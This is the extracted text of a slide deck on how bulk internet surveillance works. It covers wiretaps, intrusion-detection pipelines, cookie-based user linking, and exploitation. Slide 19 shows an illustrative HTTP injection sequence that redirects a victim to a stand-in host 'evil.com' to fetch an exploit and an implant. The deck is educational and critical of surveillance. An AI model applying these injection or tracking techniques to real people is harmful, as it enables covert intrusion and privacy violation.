The Golden Age of Bulk Surveillance Nicholas C Weaver About Me... - - PowerPoint PPT Presentation

▶

the golden age of bulk surveillance nicholas c weaver

The Golden Age of Bulk Surveillance Nicholas C Weaver About Me... - - PowerPoint PPT Presentation

Sep 19, 2022 29 likes •369 views

The Golden Age of Bulk Surveillance Nicholas C Weaver About Me... The Golden Age of Internet Surveillance Nicholas Weaver LITE TOP SECRET//SI//REL TO USA, FVEY 2 Not NOBUS (Nobody But Us) The Golden Age of Internet Surveillance Nicholas

slide-1

SLIDE 1

The Golden Age

f Bulk Surveillance

Nicholas C Weaver

slide-2

SLIDE 2

The Golden Age of Internet Surveillance Nicholas Weaver

About Me...

2

TOP SECRET//SI//REL TO USA, FVEY

LITE

slide-3

SLIDE 3

The Golden Age of Internet Surveillance Nicholas Weaver

Not NOBUS (Nobody But Us)

3 US Navy Photograph

slide-4

SLIDE 4

The Golden Age of Internet Surveillance Nicholas Weaver

Not About Needles In Haystacks

4 Wikimedia Photo

slide-5

SLIDE 5

The Golden Age of Internet Surveillance Nicholas Weaver

Not About  Connecting the Dots

5

slide-6

SLIDE 6

The Golden Age of Internet Surveillance Nicholas Weaver

Drift Nets to  Create Metadata

6 José Ramón García Ares for Wikipedia

.doc file:  Author X HTTP Request:  URL Is an Iphone? Spotted .onion URL: X PGP message key: X Mojahadeen Secrets key: X

slide-7

SLIDE 7

The Golden Age of Internet Surveillance Nicholas Weaver

Pulling Threads  To Get Results

7 Wikimedia Photo

slide-8

SLIDE 8

The Golden Age of Internet Surveillance Nicholas Weaver

A Thread To Pull:  Watching an IRC Chat

8

OtherDude: Hey, did you see OtherDude: http://www.bbc.com/news/world-us-canada-16330396? AnonDude: hmmm... AnonDude: HAHAH, that's pretty funny!

Intercept captured 12/30/2011 11:32 GMT Step 1: "Use SIGINT" (Signals Intelligence)/DNI (Digital Network Intelligence): Enables identification of AnonDude and developing a  "pattern of life" for his online behavior Step 2: "Use CNE" (Computer Network Exploitation): After identification, invoke "exploit by name" to take

ver AnonDude's computer

slide-9

SLIDE 9

The Golden Age of Internet Surveillance Nicholas Weaver

Start With Your  Wiretaps...

9

slide-10

SLIDE 10

The Golden Age of Internet Surveillance Nicholas Weaver

How They Work: Scalable Network Intrusion Detection Systems

10

Tap High Volume Filter NIDS Node NIDS Node NIDS Node Load Balancer Is Not BitTorrent? H(SIP, DIP) Do this in OpenFlow:  100 Gbps installs  already done Linear Scaling:  10x the money... 10x the bandwidth! 1u gives 1-5 Gbps

slide-11

SLIDE 11

The Golden Age of Internet Surveillance Nicholas Weaver

Inside the NIDS

11

220 GET GET HT TP /fu bar/ 1.1.. HTTP /b az/?id= 1f413 1.1... mail.domain.target ESMTP Sendmail...

HTTP Request URL = /fubar/ Host = .... HTTP Request URL = /baz/?id=... ID = 1f413 Sendmail From = someguy@... To = otherguy@... Unlike conventional NIDS you don't worry about evasion:  Anyone who wants to evade uses cryptography instead

slide-12

SLIDE 12

The Golden Age of Internet Surveillance Nicholas Weaver

Which NIDS To Use?

Bro Network Security Monitor (BSD licensee)
Includes a robust suite of protocol parsers
Realtime operation, invokes Bro policy scripts
Requires seeing both sides of the traffic
Lockheed/Martin Vortex (GPL)
Only handles the reassembly:

Network traffic to files, then invoke separate parser programs

Near real-time operation
Eagle GLINT by Nexa Technologies
Formerly Amesys (was part of Bull)
Commercial "Intelligence" interception package

12

slide-13

SLIDE 13

The Golden Age of Internet Surveillance Nicholas Weaver

Tracking People Not Machines:  User Identification

13

slide-14

SLIDE 14

The Golden Age of Internet Surveillance Nicholas Weaver

Tracking People, Not Machines:  Cookie Linking

14

slide-15

SLIDE 15

The Golden Age of Internet Surveillance Nicholas Weaver

Bulk Recording

15

slide-16

SLIDE 16

The Golden Age of Internet Surveillance Nicholas Weaver

Federated Search

16

Who Viewed This Page? Who Viewed This Page? Who Viewed This Page? Who Viewed This Page?

slide-17

SLIDE 17

The Golden Age of Internet Surveillance Nicholas Weaver

Query Focused Centralized  Datasets

17

Username Cookie IP Site: arstechnica.com Username: broidsrocks Cookie: 223e77... From IP: 10.271.13.1 Seen: 2012-12-01 07:32:24 Site: arstechnica.com Username: broidsrocks Cookie: 223e77... From IP: 10.271.13.1 Seen: 2012-12-01 07:32:24 Site: arstechnica.com Username: broidsrocks Cookie: 223e77... From IP: 10.271.13.1 Seen: 2012-12-01 07:32:24

slide-18

SLIDE 18

The Golden Age of Internet Surveillance Nicholas Weaver

Use SIGINT

18

BBC Pageview Double-click Ad AnonDude is... Linked User IDs IP Activity History (unmasked VPNs) "IP Intelligence" AnonDude's House

slide-19

SLIDE 19

The Golden Age of Internet Surveillance Nicholas Weaver

Computer Network  Exploitation

19

GET /script.js HTTP/1.1 host: www.targetdomain.com cookie: id=iamavictim HTTP 200 OK ..... GET /script.js HTTP/1.1 host: www.targetdomain.com cookie: id=iamavictim HTTP 302 FOUND location: http://www.evil.com/pwnme.js GET /pwnme.js HTTP/1.1 host: www.evil.com HTTP 200 OK .... Here's an exploit... GET /theimplant HTTP/1.1 host: www.evil.com

NSA Eagle from the EFF  Rat from OpenClipart

AirPwn -Goatse HackingTeam Metasploit HackingTeam FinFisher Black Market RATs HackingTeam FinFisher

slide-20

SLIDE 20

The Golden Age of Internet Surveillance Nicholas Weaver

Put It In Action:  Running on the "Cylon" Network

20

Intel NUC computer DualComm Gbps Tap $836.37 connect to http://basestar.local to access the UI

slide-21

SLIDE 21

The Golden Age of Internet Surveillance Nicholas Weaver

A Canned Demo...

21

slide-22

SLIDE 22

The Golden Age of Internet Surveillance Nicholas Weaver

22

slide-23

SLIDE 23

The Golden Age of Internet Surveillance Nicholas Weaver

23

slide-24

SLIDE 24

The Golden Age of Internet Surveillance Nicholas Weaver

24

slide-25

SLIDE 25

The Golden Age of Internet Surveillance Nicholas Weaver

25

slide-26

SLIDE 26

The Golden Age of Internet Surveillance Nicholas Weaver

26

slide-27

SLIDE 27

The Golden Age of Internet Surveillance Nicholas Weaver

27

slide-28

SLIDE 28

The Golden Age of Internet Surveillance Nicholas Weaver

28

slide-29

SLIDE 29

The Golden Age of Internet Surveillance Nicholas Weaver

29

slide-30

SLIDE 30

The Golden Age of Internet Surveillance Nicholas Weaver

30

slide-31

SLIDE 31

The Golden Age of Internet Surveillance Nicholas Weaver

This is Hobby Stuff...

31 Wikipedia (Tobias Grosch)

slide-32

SLIDE 32

The Golden Age of Internet Surveillance Nicholas Weaver

So Who Are   Your Friends?

32

From amcharts.com

slide-33

SLIDE 33

The Golden Age of Internet Surveillance Nicholas Weaver

So What Now?  Go Dark

33

slide-34

SLIDE 34

The Golden Age of Internet Surveillance Nicholas Weaver

Because What's The Opposite Of NOBUS?

Upcoming UC Berkeley CS 194 (Practical Networking)

project #2:  Build an NSA style surveillance suite...

34